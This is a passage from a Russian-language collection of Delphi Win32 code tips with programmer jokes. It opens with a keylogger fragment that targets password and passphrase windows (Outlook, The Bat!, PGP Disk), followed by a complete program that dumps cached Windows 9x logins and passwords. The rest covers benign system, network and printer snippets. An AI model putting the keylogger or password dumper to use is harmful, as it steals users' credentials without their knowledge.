(pos('Свойства: ',cap1)< > 0)or //MSOutlook
(pos('Вход - ',cap1)< > 0)or //MSOutlook
(pos(' - Receiving mail',cap1)< > 0)or //The Bat!
(pos('Окно терминала',cap1)< > 0)or //Terminal
(pos('Passphrase',cap1)< > 0) //PGP Disk
then
begin
asm
in al,60h // Читаем из 60h порта нажатую кнопку в al
mov key,al // Перемещаем код ключа из al в Key
end;
if okey< > key then
begin
okey:=key;
if key< =88 then // Ловим Key_Down код
m1.text:=m1.text+kAr[Key] // И берем по этому коду из массива строку
end;
end;
end;
|
Тянем пароли из кэша.
| Земля. 2050 год. Генетический программер разбирает очерендной кусок генной последовательности и видит следующий комментарий: { A eti geny nado by ubrat nahren. Archangel Gavriil } |
Так, сегодня мы рассмотрим как можно взять кэшированные пароли из 9x винды, а также из винды, где в установленном виде есть 5-я иешка (хотя может и 4-ой хватит:).
unit Unit1;
interface
uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
hMPR: THandle;
end;
// Отсюда мы можем заключить что должно валяться на форме,
// надеюсь вы сами всё закидаете, а если нет, то вам дорога в хелпы.
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
// Объявляем функцию внешней, надеюсь вы поняли
// каким макаром, или вам опять в хелпы
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
// Объявляем все типы, которые будем юзать в проге.
var
WinPassword: TWinPassword;
// Собственно переменные :-)
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: string;
PC: array[0..$FF] of Char;
begin
inc(Count);
// Увеличиваем число паролей на 1
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
// Получаем в PC пароль
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
// После недолгих преобразований в Password имеем кэшированный логин
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
// Теперь в PC имеем пароль
Password := Password + ': ' + StrPas(PC);
// Разделяем логин и пароль двуеточием...
Form1.ListBox.Items.Add(Password);
// ...и добавляем в ListBox на форме
Result := True;
// Возвращаемся с положительным результатом
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
// при нажатии на лэйбл открываем окошко ие с нашим любимым сайтом :-)
ShellExecute(GetDesktopWindow, 'open', 'http://www.lamerov.net', nil, nil, 0);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
// А теперь сама процедура заполнения всех паролей.
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
// Если не найден кэшированый пароль, то
begin
Application.MessageBox('Can''t load passwords: User is not logon.',
'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
// Выдаем сообщение об этом
end
// иначе,
else
if Count = 0 then
// если паролей всего 0 то тоже об этом сообщаем
ListBox.Items.Add('No passwords found...');
end;
end.
|
Вы наверное спросите: как же все таки дельфи попадает туда куда нам нужно, то есть на функцию обработки паролей и почемы она кэшит их всех, хотя функцию вызывали всего одни раз, а очень просто. Помните строку WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) так вот она все и делает. Надеюсь вопросов не осталось.
Как узнать полный путь и имя файла загруженной DLL.
| - Чем отличается продавец подержанных машин от продавца компьютеров? - Продавец подержанных машин знает, когда он тебе врет. |
uses Windows; procedure ShowDllPath stdcall; var TheFileName: array[0..MAX_PATH] of char; begin FillChar(TheFileName, sizeof(TheFileName), #0); GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName)); MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok); end; |
Как определить, какие диски находятся на компьютере.
| - Чем отличается джентльмен от джентльмена программиста? - Джентльмен всегда носит с собой презерватив, на всякий случай, а джентльмен программист - системную дискету. |
function DriveExists(Drive:Byte):Boolean;
var
Drives: set of 0..25;
begin
integer(Drives):=GetLogicalDrives;
Result:=Drive in Drives
end;
function CheckDriveType(Drive: Byte): string;
var
DriveLetter: Char;
DriveType: UInt;
begin
DriveLetter:=Chr(Drive + $41);
DriveType:=GetDriveType(PChar(DriveLetter + ':\'));
case DriveType of
0: Result:='?';
1: Result:='Path does not exists';
DRIVE_REMOVABLE: Result:='Removable';
DRIVE_FIXED: Result:='Fixed';
DRIVE_REMOTE: Result:='Remote';
DRIVE_CDROM: Result:='CD_ROM';
DRIVE_RAMDISK: Result:='RAMDISK'
else
Result:='Unknown'
end
end;
|
Получение MAC адреса компьютера.
| Автор: Daniel Wischnewski |
| Один программист спрашивает другого: - Слушай, а тебе трахаться приходилось? - Да, как-то раз я полночи Windows ставил. - Да нет, в смысле по-настоящему. - А, это с Макинтошами что ли? |
Для того, чтобы этот код работал, необходимо включить в проект юнит NB30. Простой вызов функции GetMACAddress возвращает адрес первого установленного сетевого адаптера.
Данный пример был составлен на основе статьи на сайте Borland: http://community.borland.com/article/0,1410,26040,00.html
uses
NB30;
function GetAdapterInfo(Lana: Char): string;
var
Adapter: TAdapterStatus;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBRESET);
NCB.ncb_lana_num := Lana;
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBASTAT);
NCB.ncb_lana_num := Lana;
NCB.ncb_callname := '*';
FillChar(Adapter, SizeOf(Adapter), 0);
NCB.ncb_buffer := @Adapter;
NCB.ncb_length := SizeOf(Adapter);
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;
Result :=
IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[5]), 2);
end;
function GetMACAddress: string;
var
AdapterList: TLanaEnum;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBENUM);
NCB.ncb_buffer := @AdapterList;
NCB.ncb_length := SizeOf(AdapterList);
Netbios(@NCB);
if Byte(AdapterList.length) > 0 then
Result := GetAdapterInfo(AdapterList.lana[0])
else
Result := 'mac not found';
end;
|
Получить имя компьютера по IP.
| Мой домашний компьютер используется на 300%: на системный блок мы складываем журналы, с клавиатурой и мышкой играется ребенок, а на мониторе сидит плюшевый медведь. |
uses
WinSock;
function LocalIP: string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of Char;
I: Integer;
GInitData: TWSAData;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
I := 0;
while pPtr^[I] <> nil do
begin
Result := inet_ntoa(pptr^[I]^);
Inc(I);
end;
WSACleanup;
end;
function IPAddrToName(IPAddr: string): string;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));
HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt <> nil then
Result := StrPas(Hostent^.h_name)
else
Result := '';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IPAddrToName(LocalIp));
end;
{**************************************}
// Function to get the IP Address from a Host
function GetIPFromHost(const HostName: string): string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
i: Integer;
GInitData: TWSAData;
begin
WSAStartup($101, GInitData);
Result := '';
phe := GetHostByName(PChar(HostName));
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
i := 0;
while pPtr^[i] <> nil do
begin
Result := inet_ntoa(pptr^[i]^);
Inc(i);
end;
WSACleanup;
end;
|
Получить Primary Domain Controller (PDC).
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The NetGetDCName function returns the name of the primary domain controller (PDC).
It does not return the name of the backup domain controller (BDC) for the specified domain.
Also, you cannot remote this function to a non-PDC server.
Windows 2000/XP: Applications that support DNS-style names should call the function.
Domain controllers in this type of environment have a multi-master
directory replication relationship.
Therefore, it may be advantageous for your application to use a DC that is not the PDC.
You can call the DsGetDcName function to locate any DC in the domain;
NetGetDCName returns only the name of the PDC.
}
type
EAccessDenied = Exception;
EInvalidOwner = Exception;
EInsufficientBuffer = Exception;
ELibraryNotFound = Exception;
NET_API_STATUS = Integer;
const
NERR_Success = 0;
var
NTNetGetDCName: function (Server, Domain: pWideChar; var DC: pWideChar): NET_API_STATUS; stdcall;
NTNetGetDCNameA: function (Server, Domain: PChar; var DC: PChar): NET_API_STATUS; stdcall;
NTNetApiBufferFree: function (lpBuffer: Pointer): NET_API_STATUS; stdcall;
procedure NetCheck(ErrCode: NET_API_STATUS);
begin
if ErrCode <> NERR_Success then
begin
case ErrCode of
ERROR_ACCESS_DENIED:
raise EAccessDenied.Create('Access is Denied');
ERROR_INVALID_OWNER:
raise EInvalidOwner.Create('Cannot assign the owner of this object.');
ERROR_INSUFFICIENT_BUFFER:
raise EInsufficientBuffer.Create('Buffer passed was too small');
else
raise Exception.Create('Error Code: ' + IntToStr(ErrCode) + #13 +
SysErrorMessage(ErrCode));
end;
end;
end;
function GetPDC(szSystem: string): string;
{ if szSystem = '' return the PDC else return DC for that domain }
const
NTlib = 'NETAPI32.DLL';
Win95lib = 'RADMIN32.DLL';
var
pAnsiDomain: PChar;
pDomain: PWideChar;
System: array[1..80] of WideChar;
ErrMode: Word;
LibHandle: THandle;
begin
Result := '';
LibHandle := 0;
try
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
LibHandle := LoadLibrary(NTlib);
SetErrorMode(ErrMode);
if LibHandle = 0 then
raise ELibraryNotFound.Create('Unable to map library: ' +
NTlib); @NTNetGetDCName := GetProcAddress(Libhandle, 'NetGetDCName');
@NTNetApiBufferFree := GetProcAddress(Libhandle,
'NetApiBufferFree');
try
if szSystem <> '' then
NetCheck(NTNetGetDCName(nil, StringToWideChar(szSystem, @System, 80), pDomain))
else
NetCheck(NTNetGetDCName(nil, nil, pDomain));
Result := WideCharToString(pDomain);
finally
NetCheck(NTNetApiBufferFree(pDomain));
end;
end
else
begin
ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
LibHandle := LoadLibrary(Win95lib);
SetErrorMode(ErrMode);
if LibHandle = 0 then
raise ELibraryNotFound.Create('Unable to map library: ' +
Win95lib); @NTNetGetDCNameA := GetProcAddress(Libhandle, 'NetGetDCNameA');
@NTNetApiBufferFree := GetProcAddress(LibHandle, 'NetApiBufferFree');
try
if szSystem <> '' then
NetCheck(NTNetGetDCNameA(nil, PChar(szSystem), pAnsiDomain))
else
NetCheck(NTNetGetDCNameA(nil, nil, pAnsiDomain));
Result := StrPas(pAnsiDomain);
finally
NetCheck(NTNetApiBufferFree(pAnsiDomain));
end;
end;
finally
if LibHandle <> 0 then
begin
FreeLibrary(Libhandle); // free handle if it has been allocated
end;
end;
end;
// Example call, Beispielaufruf:
procedure TForm1.Button1Click(Sender: TObject);
begin
try
Screen.Cursor := crHourGlass;
label1.Caption := GetPDC('');
finally
Screen.Cursor := crDefault;
end;
end;
Как узнать платформу.
| Гейтс получил Нобелевскую премию по экономике и медицине за то, что первый додумался продавать геморрой за такие деньги. |
private
{ Private declarations }
procedure OSInfo;
...
procedure TForm1.OSInfo;
var
BRes : boolean;
lpVersionInformation : TOSVersionInfo;
c : string;
begin
lpVersionInformation.dwOSVersionInfoSize :=
SizeOf(TOSVersionInfo);
BRes := GetVersionEx(lpVersionInformation);
if BRes then
with lpVersionInformation do
case dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS :
if dwMinorVersion=0 then
c := 'Windows 95'
else
c := 'Windows 98';
VER_PLATFORM_WIN32_NT :
c := 'Windows NT';
VER_PLATFORM_WIN32s :
c := 'Win 3.1 with Win32s'
end;
Form1.Caption:=c;
end;
|
Получить родителя пунктов контекстного меню.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.PopupMenu1Popup(Sender: TObject); begin Label1.Caption := PopupMenu1.PopupComponent.Name; end;
Как получить POST данные.
| Автор: Craig Foley |
| Реальность, переходящая в виртуальность: Посмотрел порно сайт и заразил компьютер вирусом. |
Если данные передаются в формате 'animal=cat&color=brown' и т.д., то попробуйте использовать следующий код:
procedure TDBModule.Navigate(stURL, stPostData: String; var wbWebBrowser: TWebBrowser);
var
vWebAddr, vPostData, vFlags, vFrame, vHeaders: OleVariant;
iLoop: Integer;
begin
{Are we posting data to this Url?}
if Length(stPostData)> 0 then
begin
{Require this header information if there is stPostData.}
vHeaders:= 'Content-Type: application/x-www-form-urlencoded'+ #10#13#0;
{Set the variant type for the vPostData.}
vPostData:= VarArrayCreate([0, Length(stPostData)], varByte);
for iLoop := 0 to Length(stPostData)- 1 do // Iterate
begin
vPostData[iLoop]:= Ord(stPostData[iLoop+ 1]);
end; // for
{Final terminating Character.}
vPostData[Length(stPostData)]:= 0;
{Set the type of Variant, cast}
TVarData(vPostData).vType:= varArray;
end;
{And the other stuff.}
vWebAddr:= stURL;
{Make the call Rex.}
wbWebBrowser.Navigate2(vWebAddr, vFlags, vFrame, vPostData, vHeaders);
end; {End of Navigate procedure.}
|
Автор: Hans Gulo.
А это другой способ:
procedure TForm1.SubmitPostForm;
var
strPostData: string;
Data: Pointer;
URL, Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
{
<!-- submit this html form: -->
<form method="post" action="http://127.0.0.1/cgi-bin/register.pl">
<input type="text" name="FIRSTNAME" value="Hans">
<input type="text" name="LASTNAME" value="Gulo">
<input type="text" name="NOTE" value="thats it">
<input type="submit">
</form>
}
strPostData := 'FIRSTNAME=Hans&LASTNAME=Gulo&NOTE=thats+it';
PostData := VarArrayCreate([0, Length(strPostData) - 1], varByte);
Data := VarArrayLock(PostData);
try
Move(strPostData[1], Data^, Length(strPostData));
finally
VarArrayUnlock(PostData);
end;
URL := 'http://127.0.0.1/cgi-bin/register.pl';
Flags := EmptyParam;
TargetFrameName := EmptyParam;
Headers := EmptyParam; // TWebBrowser automatically replace
// this captions same values
WebBrowser1.Navigate2(URL, Flags, TargetFrameName, PostData, Headers);
end;
|
Получить статус питания.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
SysPowerStatus: TSystemPowerStatus;
begin
GetSystemPowerStatus(SysPowerStatus);
if Boolean(SysPowerStatus.ACLineStatus) then
begin
ShowMessage('System running on AC.');
end
else
begin
ShowMessage('System running on battery.');
ShowMessage(Format('Battery power left: %d percent.', [SysPowerStatus.BatteryLifePercent]));
end;
end;
Как узнать драйвер и порт принтера.
Иногда метод GetPrinter() компонента TPrinter возвращает пустую строку, поэтому целесообразно воспользоваться API для получения необходимых параметров из файла Windows.ini.
uses Printers;
{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}
procedure TForm1.Button1Click(Sender: TObject);
var
pDevice: pChar;
pDriver: pChar;
pPort: pChar;
hDMode: THandle;
begin
if PrintDialog1.Execute then begin
GetMem(pDevice, cchDeviceName);
GetMem(pDriver, MAX_PATH);
GetMem(pPort, MAX_PATH);
Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
if lStrLen(pDriver) = 0 then begin
GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH);
pDriver[pos(',', pDriver) - 1] := #0;
end;
if lStrLen(pPort) = 0 then begin
GetProfileString('Devices', pDevice, '', pPort, MAX_PATH);
lStrCpy(pPort, @pPort[lStrLen(pPort) + 2]);
end;
Memo1.Lines.Add('Device := ' + StrPas(pDevice));
Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
Memo1.Lines.Add('Port := ' + StrPas(pPort));
FreeMem(pDevice, cchDeviceName);
FreeMem(pDriver, MAX_PATH);
FreeMem(pPort, MAX_PATH);
end;
end;
|
Как узнать минимальные поля для принтера.
Автор: http://www.swissdelphicenter.ch
uses
Printers;
type
TMargins = record
Left,
Top,
Right,
Bottom: Double
end;
procedure GetPrinterMargins(var Margins: TMargins);
var
PixelsPerInch: TPoint;
PhysPageSize: TPoint;
OffsetStart: TPoint;
PageRes: TPoint;
begin
PixelsPerInch.y := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
PixelsPerInch.x := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
Escape(Printer.Handle, GETPHYSPAGESIZE, 0, nil, @PhysPageSize);
Escape(Printer.Handle, GETPRINTINGOFFSET, 0, nil, @OffsetStart);
PageRes.y := GetDeviceCaps(Printer.Handle, VERTRES);
PageRes.x := GetDeviceCaps(Printer.Handle, HORZRES);
// Top Margin
Margins.Top := OffsetStart.y / PixelsPerInch.y;
// Left Margin
Margins.Left := OffsetStart.x / PixelsPerInch.x;
// Bottom Margin
Margins.Bottom := ((PhysPageSize.y - PageRes.y) / PixelsPerInch.y) -
(OffsetStart.y / PixelsPerInch.y);
// Right Margin
Margins.Right := ((PhysPageSize.x - PageRes.x) / PixelsPerInch.x) -
(OffsetStart.x / PixelsPerInch.x);
end;
function InchToCm(Pixel: Single): Single;
// Convert inch to Centimeter
begin
Result := Pixel * 2.54
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Margins: TMargins;
begin
GetPrinterMargins(Margins);
ShowMessage(Format('Margins: (Left: %1.3f, Top: %1.3f, Right: %1.3f, Bottom: %1.3f)',
[InchToCm(Margins.Left),
InchToCm(Margins.Top),
InchToCm(Margins.Right),
InchToCm(Margins.Bottom)]));
end;
Как найти все форматы бумаги, поддерживаемые принтером.
Автор: http://www.swissdelphicenter.ch
uses
Printers, WinSpool;
procedure GetPapernames(sl: TStrings);
type
TPaperName = array[0..63] of Char;
TPaperNameArray = array[1..High(Word) div SizeOf(TPaperName)] of TPaperName;
PPapernameArray = ^TPaperNameArray;
var
Device, Driver, Port: array[0..255] of Char;
hDevMode: THandle;
i, numPaperformats: Integer;
pPaperFormats: PPapernameArray;
begin
Printer.PrinterIndex := -1; // Standard printer
Printer.GetPrinter(Device, Driver, Port, hDevmode);
numPaperformats := WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
nil, nil);
if numPaperformats 0 then
begin
GetMem(pPaperformats, numPaperformats * SizeOf(TPapername));
try
WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
PChar(pPaperFormats), nil);
sl.Clear;
for i := 1 to numPaperformats do
sl.Add(pPaperformats^[i]);
finally
FreeMem(pPaperformats);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
GetPapernames(memo1.Lines);
end;
Как прочитать список возможностей принтера.
Автор: http://www.swissdelphicenter.ch
uses
Printers;
//------------------------------------------------------------------------------
// Printer Device Debugging Code to TMemo Componenet
// (c) - 1999 / by A. Weidauer
// alex.weiauer@huckfinn.de
//------------------------------------------------------------------------------
procedure GetDeviceSettings(DevCtrl: TMemo);
var
Sep: string;
//-----------------------------------------------
procedure MakeInt(S: string; key: Integer);
begin
S := UpperCase(S);
DevCtrl.Lines.Add(UpperCase(Format(' %36S = %d ',
[s, GetDeviceCaps(Printer.Handle, Key)])));
end;
//-----------------------------------------------
function StringToBits(S: string): string;
var
H: string;
i: Integer;
//-----------------------------------------------
function SubStr(C: Char): string;
begin
if c = '0' then
SubStr := '0000';
if c = '1' then
SubStr := '0001';
if c = '2' then
SubStr := '0010';
if c = '3' then
SubStr := '0011';
if c = '4' then
SubStr := '0100';
if c = '5' then
SubStr := '0101';
if c = '6' then
SubStr := '0110';
if c = '7' then
SubStr := '0111';
if c = '8' then
SubStr := '1000';
if c = '9' then
SubStr := '1001';
if c = 'A' then
SubStr := '1010';
if c = 'B' then
SubStr := '1011';
if c = 'C' then
SubStr := '1100';
if c = 'D' then
SubStr := '1101';
if c = 'E' then
SubStr := '1110';
if c = 'F' then
SubStr := '1111';
end;
//-----------------------------------------------
begin
StringToBits := '';
S := UpperCase(s);
H := '';
if Length(S) = 0 then
Exit;
if Length(S) = 1 then
S := '0000' + S;
if Length(S) = 2 then
S := '000' + S;
if Length(S) = 3 then
S := '00' + S;
if Length(S) = 4 then
S := '0' + S;
for i := 1 to Length(s) do
H := H + ' ' + SubStr(S[i]);
StringToBits := H;
end;
//-----------------------------------------------
procedure MakeHex(S: string; key: Cardinal);
var
h: string;
begin
S := UpperCase(S);
h := Format('%X', [GetDeviceCaps(Printer.Handle, Key)]);
if Length(H) = 0 then
Exit;
if Length(H) = 1 then
H := '0000' + H;
if Length(H) = 2 then
H := '000' + H;
if Length(H) = 3 then
H := '00' + H;
if Length(H) = 4 then
H := '0' + H;
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(SEP);
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(Format('%37S = Flags(%S) Key(%S)',
[s, h, StringToBits(H)]
));
// (( GetDeviceCaps(Printer.Handle,Key),
end;
//----------------------------------------------------
procedure MakeFlag(S: string; key, subKey: Cardinal);
var
i: Cardinal;
begin
S := UpperCase(S);
i := GetDeviceCaps(Printer.Handle, Key);
if i and SubKey <> 0 then
DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
[s, 'ON ', SubKey, StringToBits(Format('%x', [SubKey]))]))
else
DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
[s, 'OFF', SubKey, StringToBits(Format('%x', [SubKey]))]))
end;
//----------------------------------------------------
function TechnoToStr(i: Integer): string;
begin
TechnoToStr := '#ERROR# is Unknwon';
case i of
DT_PLOTTER: TechnoToStr := 'Vector Plotter';
DT_RASDISPLAY: TechnoToStr := 'Raster Display';
DT_RASPRINTER: TechnoToStr := 'Raster Printer';
DT_RASCAMERA: TechnoToStr := 'Raster Camera';
DT_CHARSTREAM: TechnoToStr := 'Character Stream';
DT_METAFILE: TechnoToStr := 'Metafile';
DT_DISPFILE: TechnoToStr := 'Display file';
end;
end;
//--Main Procedure
//----------------------------------------------------------
begin
DevCtrl.SetFocus;
DevCtrl.Visible := False;
if Printer.PrinterIndex < 0 then
Exit;
// Device Organisation
try
if not (GetMapMode(Printer.Handle) = MM_TEXT) then
SetMapMode(Printer.Handle, MM_Text);
DevCtrl.Clear;
Sep :=
'_____________________________________________________________';
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(' PRINTER : ' + Printer.Printers[Printer.PrinterIndex]);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(Format('%36S = %D', ['NUMBER Of COPIES',
Printer.Copies]));
if Printer.Orientation = poLandscape then
DevCtrl.Lines.Add(Format('%36S = LANDSCAPE', ['ORIENTATION']));
if Printer.Orientation = poPortrait then
DevCtrl.Lines.Add(Format('%36S = PORTRAIT', ['ORIENTATION']));
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('DRIVERVERSION', DRIVERVERSION);
DevCtrl.Lines.Add(Format(' %36S = %S', ['TECHNOLOGY',
UpperCase(TechnoToStr(GetDeviceCaps(Printer.Handle, Technology)))]));
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('WIDTH [mm]', HORZSIZE);
MakeInt('HEIGHT [mm]', VERTSIZE);
MakeInt('WIDTH [pix]', HORZRES);
MakeInt('HEIGHT [pix]', VERTRES);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('Physical Width [pix]', PHYSICALWIDTH);
MakeInt('Physical Height[pix]', PHYSICALHEIGHT);
MakeInt('Physical Offset X [pix]', PHYSICALOFFSETX);
MakeInt('Physical Offset Y [pix]', PHYSICALOFFSETY);
MakeInt('SCALING FACTOR X', SCALINGFACTORX);
MakeInt('SCALING FACTOR Y', SCALINGFACTORY);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('horizontal [DPI]', LOGPIXELSX);
MakeInt('vertial [DPI]', LOGPIXELSY);
MakeInt('BITS PER PIXEL', BITSPIXEL);
MakeInt('COLOR PLANES', PLANES);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('NUMBER OF BRUSHES', NUMBRUSHES);
MakeInt('NUMBER OF PENS', NUMPENS);
MakeInt('NUMBER OF FONTS', NUMFONTS);
MakeInt('NUMBER OF COLORS', NUMCOLORS);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('ASPECT Ratio X [DPI]', ASPECTX);
MakeInt('ASPECT Ratio Y [DPI]', ASPECTY);
MakeInt('ASPECT Ratio XY [DPI]', ASPECTXY);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeInt('SIZE OF PALETTE', SIZEPALETTE);
MakeInt('RESERVED TO SYSTEM PALETTE **', NUMRESERVED);
MakeInt('ACTUAL RASTER RESOLUTION **', COLORRES);
DevCtrl.Lines.Add('');
DevCtrl.Lines.Add(' **...only true if KEY RASTERCAPS(RC_PALETTE)= ON');
MakeFlag('... KEY RASTERCAPS (RC_PALETTE)', RasterCaps, RC_PALETTE);
DevCtrl.Lines.Add('');
MakeHex('Clipping Capablities ', ClipCaps);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('No Support ', ClipCaps, CP_NONE);
MakeFlag('Support Rectangles', ClipCaps, CP_RECTANGLE);
MakeFlag('Support PolyRegion 32 Bit', ClipCaps, CP_REGION);
MakeHex('Raster Printing Flags ', RasterCaps);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('Support Bitmap Transfer', RasterCaps, RC_BITBLT);
MakeFlag('Support Banding', RasterCaps, RC_BANDING);
MakeFlag('Support Scaling', RasterCaps, RC_SCALING);
MakeFlag('Support Bitmaps > 64 kByte', RasterCaps, RC_BITMAP64);
MakeFlag('Support features of Win 2.0', RasterCaps, RC_GDI20_OUTPUT);
MakeFlag('Support Set~/GetDIBITS()', RasterCaps, RC_DI_BITMAP);
MakeFlag('Support Palette Devices', RasterCaps, RC_PALETTE);
MakeFlag('Support SetDIBitsToDevice()', RasterCaps, RC_DIBTODEV);
MakeFlag('Support Floodfill', RasterCaps, RC_FLOODFILL);
MakeFlag('Support StretchBlt()', RasterCaps, RC_STRETCHBLT);
MakeFlag('Support StretchBID()', RasterCaps, RC_STRETCHDIB);
MakeFlag('Support DIBS', RasterCaps, RC_DEVBITS);
MakeHex('Curve Printion Flages', CurveCaps);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('No Curve support', CurveCaps, CC_NONE);
MakeFlag('Support Circles', CurveCaps, CC_Circles);
MakeFlag('Support Pie', CurveCaps, CC_PIE);
MakeFlag('Support Arces', CurveCaps, CC_CHORD);
MakeFlag('Support Ellipses', CurveCaps, CC_ELLIPSEs);
MakeFlag('Support WIDE FRAMES', CurveCaps, CC_WIDE);
MakeFlag('Support STYLED FRAMES', CurveCaps, CC_STYLED);
MakeFlag('Support WIDE&STYLED FRAMES', CurveCaps, CC_WIDESTYLED);
MakeFlag('Support INTERIORS', CurveCaps, CC_INTERIORS);
MakeFlag('Support ROUNDRECT', CurveCaps, CC_ROUNDRECT);
MakeHex('Line & Polygon Printing Flags', LineCaps);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('No Line Support', LineCaps, LC_NONE);
MakeFlag('Support Polylines', LineCaps, LC_PolyLine);
MakeFlag('Support Marker', LineCaps, LC_Marker);
MakeFlag('Support PolyMarker', LineCaps, LC_PolyMarker);
MakeFlag('Support Wide Lines', LineCaps, LC_WIDE);
MakeFlag('Support STYLED Lines', LineCaps, LC_STYLED);
MakeFlag('Support WIDE&STYLED Lines', LineCaps, LC_WIDESTYLED);
MakeFlag('Support Lines Interiors', LineCaps, LC_INTERIORS);
MakeHex('Polygon (Areal) Printing Flags', POLYGONALCAPS);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('No Polygon Support', PolygonalCaps, PC_NONE);
MakeFlag('Filling Alternate Polygons', PolygonalCaps, PC_POLYGON);
MakeFlag('Drawing Rectangles', PolygonalCaps, PC_RECTANGLE);
MakeFlag('Filling Winding Polygons', PolygonalCaps, PC_WINDPOLYGON);
MakeFlag('Drawing Trapezoid (??Flag)', PolygonalCaps, PC_Trapezoid);
MakeFlag('Drawing a ScanLine', PolygonalCaps, PC_SCANLINE);
MakeFlag('Drawing Wide Border', PolygonalCaps, PC_WIDE);
